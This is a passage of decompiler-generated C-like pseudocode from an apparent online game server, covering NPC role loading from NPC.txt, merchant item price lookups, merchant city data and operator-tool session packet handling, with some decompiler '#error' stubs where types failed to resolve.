[sp+8Ah] [bp-10Ch]@15 int v62; // [sp+8Eh] [bp-108h]@43 __int64 v63; // [sp+92h] [bp-104h]@43 __int64 v64; // [sp+9Ah] [bp-FCh]@43 ORToken *v65; // [sp+A2h] [bp-F4h]@8 ORToken nm; // [sp+A6h] [bp-F0h]@54 FunctionEntarance _; // [sp+BAh] [bp-DCh]@1 char v68; // [sp+BEh] [bp-D8h]@58 ORToken thisa; // [sp+D2h] [bp-C4h]@9 char buf[32]; // [sp+E6h] [bp-B0h]@1 char path[128]; // [sp+106h] [bp-90h]@1 unsigned int cookie; // [sp+186h] [bp-10h]@75 int v73; // [sp+192h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "NPCManager::nm_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCManager::nm_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCManager::nm_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&world->n4_name[4]; *(_DWORD *)buf = *(_DWORD *)&world->n4_name[0]; v4 = *(_DWORD *)&world->n4_name[8]; v5 = *(_DWORD *)&world->n4_name[12]; *(_DWORD *)&buf[4] = v3; *(_DWORD *)&buf[8] = v4; v73 = 0; *(_DWORD *)&buf[12] = v5; buf[16] = 0; sprintf(path, "../9Data/Shine/World/%s/NPC.txt"); if ( !OptionReader::or_Read(&v2->nm_NPCInfo, path) ) { rst = OptionReader::or_Read(&v2->nm_NPCInfo, "../9Data/Shine/World/NPC.txt"); v6 = OptionReader::or_ErrorLine(&v2->nm_NPCInfo); if ( !rst ) { AssertClass::ac_AssertFail(&shineassert, "NPCManager::nm_Load : Error in NPC inform", v6); ShineExit("NPCManager::nm_Load"); } } v2->nm_BufferPoint = 0; do { v2->nm_BufferArray[v2->nm_BufferPoint].pnt = 0; v2->nm_BufferArray[v2->nm_BufferPoint].func = 0; v2->nm_BufferArray[v2->nm_BufferPoint].handle = -1; v7 = v2->nm_BufferPoint + 1; v2->nm_BufferPoint = v7; } while ( (unsigned int)v7 < 0x400 ); v2->nm_BufferPoint = 0; while ( 1 ) { v37 = v2->nm_BufferPoint; v65 = &v32; v36 = 0; v35 = 0; v34 = 0; v33 = 0; *(_DWORD *)&v32.ort_Name[0] = 0; strncpy(v32.ort_Name, "ShineNPC", 0x14u); v2->nm_BufferArray[v2->nm_BufferPoint].pnt = (NPCManager::NPCInformTemplete *)OptionReader::or_SelectFromOrder( &v2->nm_NPCInfo, v32, v37); v8 = v2->nm_BufferArray[v2->nm_BufferPoint].pnt; if ( !v8 ) break; v9 = (int)&v8->role; v10 = *(_DWORD *)v9; v11 = *(_DWORD *)(v9 + 4); v12 = *(_DWORD *)(v9 + 8); v13 = *(_DWORD *)(v9 + 12); v14 = *(_DWORD *)(v9 + 16); *(_DWORD *)&thisa.ort_Name[0] = v10; *(_QWORD *)&thisa.ort_Name[4] = __PAIR__(v12, v11); *(_QWORD *)&thisa.ort_Name[12] = __PAIR__(v14, v13); v56 = 0i64; v55 = 0i64; *(_DWORD *)Dest = 0; strncpy(Dest, "Merchant", 0x14u); if ( v10 != *(_DWORD *)Dest || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v55 || *(_QWORD *)&thisa.ort_Name[12] != v56 ) { v50 = 0i64; v49 = 0i64; v48 = 0; strncpy((char *)&v48, "JobManager", 0x14u); if ( v10 != v48 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v49 || *(_QWORD *)&thisa.ort_Name[12] != v50 ) { v41 = 0i64; v40 = 0i64; v39 = 0; strncpy((char *)&v39, "Gate", 0x14u); if ( v10 != v39 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v40 || *(_QWORD *)&thisa.ort_Name[12] != v41 ) { v44 = 0i64; v43 = 0i64; v42 = 0; strncpy((char *)&v42, "QuestNpc", 0x14u); if ( v10 != v42 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v43 || *(_QWORD *)&thisa.ort_Name[12] != v44 ) { v47 = 0i64; v46 = 0i64; v45 = 0; strncpy((char *)&v45, "StoreManager", 0x14u); if ( v10 != v45 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v46 || *(_QWORD *)&thisa.ort_Name[12] != v47 ) { v64 = 0i64; v63 = 0i64; v62 = 0; strncpy((char *)&v62, "ClientMenu", 0x14u); if ( v10 != v62 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v63 || *(_QWORD *)&thisa.ort_Name[12] != v64 ) { v53 = 0i64; v52 = 0i64; v51 = 0; strncpy((char *)&v51, "Guard", 0x14u); if ( v10 != v51 || __PAIR__(*(unsigned int *)&thisa.ort_Name[8], v11) != v52 || *(_QWORD *)&thisa.ort_Name[12] != v53 ) { *(_QWORD *)&nm.ort_Name[12] = 0i64; *(_QWORD *)&nm.ort_Name[4] = 0i64; *(_DWORD *)&nm.ort_Name[0] = 0; strncpy(nm.ort_Name, "NPCMenu", 0x14u); if ( ORToken::operator__(&thisa, &nm) ) { v25 = operator new(0x18u); if ( v25 ) { v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRole_MenuOpen::NPCRole_MenuOpen((NPCRole_MenuOpen *)v25, (NPCManager::NPCInformTemplete *)v37); v2->nm_BufferArray[v2->nm_BufferPoint++].func = v26; } else { LABEL_57: v2->nm_BufferArray[v2->nm_BufferPoint++].func = 0; } } else { ORToken::ORToken((ORToken *)&v68, "IDGate"); if ( !ORToken::operator__(&thisa, (ORToken *)&v68) ) { AssertClass::ac_AssertFail(&shineassert, "NPCManager::nm_Load : Invalid NPC Role", 0); ShineExit("NPCManager::nm_Load"); } v27 = operator new(0x84u); if ( v27 ) { v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRole_ID_Portal::NPCRole_ID_Portal( (NPCRole_ID_Portal *)v27, (NPCManager::NPCInformTemplete *)v37); v2->nm_BufferArray[v2->nm_BufferPoint++].func = v28; } else { v2->nm_BufferArray[v2->nm_BufferPoint++].func = 0; } } } else { v23 = operator new(0x18u); if ( !v23 ) goto LABEL_57; v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRole_Guard::NPCRole_Guard((NPCRole_Guard *)v23, (NPCManager::NPCInformTemplete *)v37); v2->nm_BufferArray[v2->nm_BufferPoint++].func = v24; } } else { v22 = operator new(0x18u); if ( v22 ) { v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v22, (NPCManager::NPCInformTemplete *)v37); *(_DWORD *)v22 = &NPCRoleBase::_vftable_; v2->nm_BufferArray[v2->nm_BufferPoint++].func = (NPCRoleBase *)v22; } else { LABEL_48: v2->nm_BufferArray[v2->nm_BufferPoint++].func = 0; } } } else { v21 = operator new(0x18u); if ( v21 ) { v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v21, (NPCManager::NPCInformTemplete *)v37); *(_DWORD *)v21 = &NPCRole_StoreManager::_vftable_; v2->nm_BufferArray[v2->nm_BufferPoint++].func = (NPCRoleBase *)v21; } else { LABEL_42: v2->nm_BufferArray[v2->nm_BufferPoint++].func = 0; } } } else { v20 = operator new(0x18u); if ( v20 ) { v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v20, (NPCManager::NPCInformTemplete *)v37); *(_DWORD *)v20 = &NPCRole_JobManager::_vftable_; v2->nm_BufferArray[v2->nm_BufferPoint++].func = (NPCRoleBase *)v20; } else { v2->nm_BufferArray[v2->nm_BufferPoint++].func = 0; } } } else { v19 = operator new(0x84u); if ( !v19 ) goto LABEL_48; v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v19, (NPCManager::NPCInformTemplete *)v37); *(_DWORD *)v19 = &NPCRole_Portal::_vftable_; *((_DWORD *)v19 + 6) = 0; v2->nm_BufferArray[v2->nm_BufferPoint++].func = (NPCRoleBase *)v19; } } else { v18 = operator new(0x18u); if ( !v18 ) goto LABEL_42; v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v18, (NPCManager::NPCInformTemplete *)v37); *(_DWORD *)v18 = &NPCRole_JobManager::_vftable_; v2->nm_BufferArray[v2->nm_BufferPoint++].func = (NPCRoleBase *)v18; } } else { v15 = operator new(0x18u); if ( v15 ) { v37 = (signed int)v2->nm_BufferArray[v2->nm_BufferPoint].pnt; NPCRoleBase::NPCRoleBase((NPCRoleBase *)v15, (NPCManager::NPCInformTemplete *)v37); *(_DWORD *)v15 = &NPCRole_Merchant::_vftable_; } else { v15 = 0; } v16 = v2->nm_BufferPoint; v37 = 20; v36 = "SoulStone"; v35 = (char *)&v57; v2->nm_BufferArray[v16].func = (NPCRoleBase *)v15; v61 = 0; v60 = 0; v59 = 0; v58 = 0; v57 = 0; strncpy(v35, v36, v37); v17 = (int)((char *)v2 + 12 * v2->nm_BufferPoint); if ( *(_DWORD *)(*(_DWORD *)v17 + 84) == v57 && *(_DWORD *)(*(_DWORD *)v17 + 88) == v58 && *(_DWORD *)(*(_DWORD *)v17 + 92) == v59 && *(_DWORD *)(*(_DWORD *)v17 + 96) == v60 && *(_DWORD *)(*(_DWORD *)v17 + 100) == v61 ) { ++v2->nm_BufferPoint; } else { v37 = *(_DWORD *)v17; NPCItemList::NPCItemListTable::nilt_ReadTable(&npcitemlist, (const char *)v37); ++v2->nm_BufferPoint; } } } if ( v2->nm_BufferPoint <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "NPCManager::nm_Load : Empty NPC inform", 0); ShineExit("NPCManager::nm_Load"); } for ( i = 0; ; ++i ) { v37 = i; v65 = &v32; v36 = 0; v35 = 0; v34 = 0; v33 = 0; *(_DWORD *)&v32.ort_Name[0] = 0; strncpy(v32.ort_Name, "LinkTable", 0x14u); v30 = OptionReader::or_SelectFromOrder(&stru_CC33634, v32, v37); if ( !v30 ) break; v31 = *((_BYTE *)v30 + 100); if ( v31 && v31 != 1 ) { AssertClass::ac_AssertFail(&shineassert, "Error at LinkTable in NPC.txt", (const char *)v30 + 20); ShineExit("NPCManager::nm_Load"); } } --funcallanalizer.fca_stackpoint; v73 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCManager::nm_Load"); __security_check_cookie(cookie); } // 5BBB7C: using guessed type int (__stdcall *NPCRoleBase___vftable_)(int, int npcfunc, __int16 npchandle); // 5BBBC0: using guessed type int (__stdcall *NPCRole_JobManager___vftable_)(int nLocation, int LocationX, int LocationY); // 5BBBE8: using guessed type int (__stdcall *NPCRole_Portal___vftable_)(int, int npcfunc, int npchandle); // 5BBC38: using guessed type int (__stdcall *NPCRole_StoreManager___vftable_)(int, int npcfunc, __int16 npchandle); // 5BBC60: using guessed type int (__thiscall *NPCRole_Merchant___vftable_)(NPCRole_Merchant *this, #434 *, int npcfunc, int npchandle); //----- (00493D50) -------------------------------------------------------- #error "493D50: undefined or illegal type '#325' (funcsize=158)" //----- (00493F50) -------------------------------------------------------- unsigned int __thiscall NPCRole_Merchant::nrb_ItemSellPrice(NPCRole_Merchant *this, #325 *a2, unsigned __int16 itemid) { signed __int16 v3; // ax@1 unsigned int result; // eax@3 ItemDataBox::ItemDataBoxIndex *v5; // eax@4 unsigned int v6; // esi@6 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemSellPrice"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Merchant::nrb_ItemSellPrice"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ShineObjectClass::ShineObject::so_mapindex((void *)a2); if ( v3 != 255 && v3 != -1 ) { v5 = ItemDataBox::operator__(&itemdatabox, itemid); if ( v5 ) { v6 = v5->data->SellPrice; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemSellPrice"); result = v6; } else { AssertClass::ac_AssertFail(&shineassert, "NPCRole_Merchant::nrb_ItemSellPrice : cannot found item inform", itemid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemSellPrice"); result = 0; } } else { AssertClass::ac_AssertFail(&shineassert, "NPCRole_Merchant::nrb_ItemSellPrice : Wrong mapindex", 0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemSellPrice"); result = 0; } return result; } //----- (004940A0) -------------------------------------------------------- unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyPrice(NPCRole_Merchant *this, #325 *a2, unsigned __int16 itemid) { ItemDataBox::ItemDataBoxIndex *v3; // eax@1 unsigned int result; // eax@2 unsigned int v5; // esi@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyPrice"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Merchant::nrb_ItemBuyPrice"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ItemDataBox::operator__(&itemdatabox, itemid); if ( v3 ) { v5 = v3->data->BuyPrice; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyPrice"); result = v5; } else { AssertClass::ac_AssertFail(&shineassert, "NPCRole_Merchant::nrb_ItemSellPrice : cannot found item inform", itemid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyPrice"); result = 0; } return result; } //----- (004941A0) -------------------------------------------------------- unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyGuildToken(NPCRole_Merchant *this, #325 *a2, unsigned __int16 itemid) { ItemDataBox::ItemDataBoxIndex *v3; // eax@1 unsigned int result; // eax@2 unsigned int v5; // esi@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyGuildToken"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Merchant::nrb_ItemBuyGuildToken"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ItemDataBox::operator__(&itemdatabox, itemid); if ( v3 ) { v5 = v3->data->BuyGToken; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyGuildToken"); result = v5; } else { AssertClass::ac_AssertFail( &shineassert, "NPCRole_Merchant::nrb_ItemBuyGuildToken : cannot found item inform", itemid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyGuildToken"); result = 0; } return result; } //----- (004942A0) -------------------------------------------------------- unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyFame(NPCRole_Merchant *this, #325 *a2, unsigned __int16 itemid) { ItemDataBox::ItemDataBoxIndex *v3; // eax@1 unsigned int result; // eax@2 unsigned int v5; // esi@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyFame"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Merchant::nrb_ItemBuyFame"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ItemDataBox::operator__(&itemdatabox, itemid); if ( v3 ) { v5 = v3->data->BuyFame; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyFame"); result = v5; } else { AssertClass::ac_AssertFail(&shineassert, "NPCRole_Merchant::nrb_ItemSellPrice : cannot found item inform", itemid); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Merchant::nrb_ItemBuyFame"); result = 0; } return result; } //----- (004943A0) -------------------------------------------------------- void __thiscall MerchantCityData::MerchantCityData(MerchantCityData *this) { MerchantCityData *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); *(_DWORD *)&v1->baseclass_0.bdb_defaultblock.Map[0] = 0; v1->baseclass_0.bdb_defaultblock.Sub = 0; } //----- (004943C0) -------------------------------------------------------- void __thiscall MerchantCityData::mcd_Load(MerchantCityData *this) { BinaryDataBox *v1; // esi@1 v1 = (BinaryDataBox *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MerchantCityData::mcd_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MerchantCityData::mcd_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; BinaryDataBox::bdb_ReadData(v1, "../9Data/Shine/ItemMerchantInfo.shn"); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MerchantCityData::mcd_Load"); } //----- (00494460) -------------------------------------------------------- int __thiscall MerchantCityData::mcd_city(MerchantCityData *this, unsigned __int16 mapindex) { MerchantCityData *v2; // ebp@1 MapInfo *v3; // edi@2 unsigned int v4; // eax@4 unsigned int v5; // ecx@4 void *v7; // ebp@9 unsigned int v8; // ecx@11 char *v9; // ecx@11 int v10; // esi@14 char *v11; // [sp-10h] [bp-24h]@3 MerchantCityData *v12; // [sp+0h] [bp-14h]@1 unsigned int mapindexa; // [sp+18h] [bp+4h]@4 v2 = this; v12 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MerchantCityData::mcd_city"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MerchantCityData::mcd_city"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( mapindex >= mapdatabox.mdb_maxmapid || (v3 = mapdatabox.mdb_index[mapindex]) == 0 ) { v11 = "MerchantCityData::mcd_city"; LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v11); return 0; } v4 = v2->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v5 = 0; mapindexa = 0; if ( (signed int)v4 <= 0 ) { LABEL_5: v11 = "MerchantCityData::mcd_city"; goto LABEL_6; } while ( 1 ) { v7 = v5 < v4 ? CDataReader::GetRecord(&v2->baseclass_0.baseclass_0.baseclass_0, v5) : &v2->baseclass_0.bdb_defaultblock; v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_DWORD *)v9 = *(_DWORD *)&v3->MapName.n3_name[0]; *((_DWORD *)v9 + 1) = *(_DWORD *)&v3->MapName.n3_name[4]; *((_DWORD *)v9 + 2) = *(_DWORD *)&v3->MapName.n3_name[8]; v9[12] = 0; if ( !strcmp((const char *)v7, v9) ) break; v4 = v12->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++mapindexa; if ( (signed int)mapindexa >= (signed int)v4 ) goto LABEL_5; v5 = mapindexa; v2 = v12; } v10 = *((_BYTE *)v7 + 4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MerchantCityData::mcd_city"); return v10; } //----- (00494600) -------------------------------------------------------- #error "494600: undefined or illegal type '#434' (funcsize=29)" //----- (004946A0) -------------------------------------------------------- void __thiscall NPCRole_Portal::nrb_LinkBrench(NPCRole_Portal *this, #434 *a2, int linknum, NPCManager::LinkInformTemplete *lnkstr) { NPCRole_Portal *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Portal::nrb_LinkBrench"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Portal::nrb_LinkBrench"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4->nrb_BrenchNumber = linknum; memcpy(&v4->nrb_BrenchSpot, lnkstr, sizeof(v4->nrb_BrenchSpot)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Portal::nrb_LinkBrench"); } //----- (00494710) -------------------------------------------------------- char __thiscall NPCRoleBase::nrb_LinkBrenchCheck(NPCRoleBase *this, NPCManager::LinkInformTemplete *lnkstr) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRoleBase::nrb_LinkBrenchCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRoleBase::nrb_LinkBrenchCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRoleBase::nrb_LinkBrenchCheck"); return 0; } //----- (00494760) -------------------------------------------------------- char __thiscall NPCRole_Portal::nrb_LinkBrenchCheck(NPCRole_Portal *this, NPCManager::LinkInformTemplete *lnkstr) { NPCRole_Portal *v2; // ebx@1 int v3; // eax@1 NPCManager::LinkInformTemplete *v4; // edi@2 bool v5; // zf@2 signed int v6; // ecx@2 int v7; // esi@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "NPCRole_Portal::nrb_LinkBrenchCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "NPCRole_Portal::nrb_LinkBrenchCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->nrb_BrenchNumber; if ( v3 >= 0 ) { v4 = lnkstr; v5 = 1; v6 = 101; v7 = (int)&v2->nrb_BrenchSpot; do { if ( !v6 ) break; v5 = *(_BYTE *)v7++ == v4->index[0]; v4 = (NPCManager::LinkInformTemplete *)((char *)v4 + 1); --v6; } while ( v5 ); if ( !v5 ) goto LABEL_8; if ( v3 > 0 ) { v2->nrb_BrenchNumber = v3 - 1; LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Portal::nrb_LinkBrenchCheck"); return 1; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "NPCRole_Portal::nrb_LinkBrenchCheck"); return 0; } //----- (00494830) -------------------------------------------------------- void __thiscall NPCManager::_NPCManager(NPCManager *this) { NPCManager *v1; // esi@1 NPCRoleBase *v2; // eax@2 void *v3; // ST00_4@3 int v4; // eax@4 v1 = this; this->nm_BufferPoint = 0; do { v2 = v1->nm_BufferArray[v1->nm_BufferPoint].func; if ( v2 ) { v3 = v1->nm_BufferArray[v1->nm_BufferPoint].func; v2->vfptr = (NPCRoleBaseVtbl *)&NPCRoleBase::_vftable_; operator delete(v3); } v4 = v1->nm_BufferPoint + 1; v1->nm_BufferPoint = v4; } while ( (unsigned int)v4 < 0x400 ); OptionReader::_OptionReader(&v1->nm_NPCInfo); } // 5BBB7C: using guessed type int (__stdcall *NPCRoleBase___vftable_)(int, int npcfunc, __int16 npchandle); //----- (00494890) -------------------------------------------------------- void __thiscall OPToolObject::opto_SetSocketSession(OPToolObject *this, OPToolSession *pSession) { this->opto_SocketSession = pSession; this->opto_ListPacket = clockwatch.cw_CurrTick; } //----- (004948B0) -------------------------------------------------------- void __thiscall OPToolSession::OPToolSession(OPToolSession *this) { OPToolSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&OPToolSession::_vftable_; } // 5BC0B4: using guessed type int (__stdcall *OPToolSession___vftable_)(int interval); //----- (004948D0) -------------------------------------------------------- void __thiscall OPToolSession::_OPToolSession(OPToolSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&OPToolSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 5BC0B4: using guessed type int (__stdcall *OPToolSession___vftable_)(int interval); //----- (004948E0) -------------------------------------------------------- char __thiscall OPToolSession::opts_ConnectReady(OPToolSession *this) { char buffer[64]; // [sp+0h] [bp-44h]@1 *(_WORD *)&buffer[1] = *(_WORD *)&buffer[1] & 0x3FF | 0x800; buffer[0] = 2; *(_WORD *)&buffer[1] = *(_WORD *)&buffer[1] & 0xFC01 | 1; return ZoneBaseSession::Send(&this->baseclass_0, buffer, 3); } //----- (00494930) -------------------------------------------------------- char __thiscall OPToolObject::opto_Routine(OPToolObject *this, List *lst, unsigned __int16 handle) { OPToolObject *v3; // esi@1 OPToolSession *v4; // eax@1 signed int v5; // ecx@3 int v6; // eax@5 int v7; // eax@6 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "OPToolObject::opto_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolObject::opto_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->opto_SocketSession; if ( !v3->opto_SocketSession ) { ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(handle); goto LABEL_14; } v5 = v4->baseclass_0.m_Status; if ( v5 > 0 && v5 <= 2 ) { v6 = v4->baseclass_0.m_Packet.vfptr->IsValidPacket(&v4->baseclass_0.m_Packet); if ( v6 ) { v7 = v6 - 1; if ( !v7 ) { ((void (__stdcall *)(_DWORD, _DWORD))v3->opto_SocketSession->baseclass_0.vfptr->zbs_Parsing)(0, handle); v3->opto_SocketSession->baseclass_0.m_Packet.vfptr->TakeNextPacket(&v3->opto_SocketSession->baseclass_0.m_Packet); v3->opto_ListPacket = clockwatch.cw_CurrTick; ++sleepmanager.sm_PacketNumber; goto LABEL_14; } if ( v7 == 1 ) { v3->opto_SocketSession->baseclass_0.m_Status = 3; LABEL_13: v3->opto_SocketSession = 0; goto LABEL_14; } } else { if ( v3->opto_SocketSession->baseclass_0.m_Packet.vfptr->RemoveAllUsedPacket(&v3->opto_SocketSession->baseclass_0.m_Packet) ) ZoneBaseSession::Receive(&v3->opto_SocketSession->baseclass_0); if ( v3->opto_ListPacket + 600 < clockwatch.cw_CurrTick ) goto LABEL_13; } } LABEL_14: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "OPToolObject::opto_Routine"); return 1; } //----- (00494A80) -------------------------------------------------------- void __thiscall OPToolList::_OPToolList(OPToolList *this) { OPToolList *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_destructor_iterator_( this->optl_Array, 8u, 50, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5BC0DC: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (00494AF0) -------------------------------------------------------- void __thiscall OPToolSession::opts_DummyFunction(OPToolSession *this, NETCOMMAND *netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "OPToolSession::opts_DummyFunction"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolSession::opts_DummyFunction"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AssertClass::ac_AssertFail( &shineassert, "ZoneListenSession::opts_DummyFunction", (unsigned int)netcmd->protocol >> 10, netcmd->protocol & 0x3FF); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "OPToolSession::opts_DummyFunction"); } //----- (00494BA0) -------------------------------------------------------- void __thiscall OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ(OPToolSession *this, NETCOMMAND *netcmd) { ZoneBaseSession *v2; // esi@1 char *v3; // eax@1 v2 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2051; v3[2] = LOBYTE(netcmd[1].protocol); if ( HIBYTE(netcmd[1].protocol) == 6 ) *(_WORD *)(v3 + 3) = LOBYTE(netcmd[2].protocol) != 8; else *(_WORD *)(v3 + 3) = 1; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) ProtocolPacket::pp_SendPacket(&gpp, v2); else AssertClass::ac_AssertFail(&shineassert, "OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ : Packet Too Long", 5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ"); } //----- (00494CA0) -------------------------------------------------------- void __thiscall OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK(OPToolSession *this, NETCOMMAND 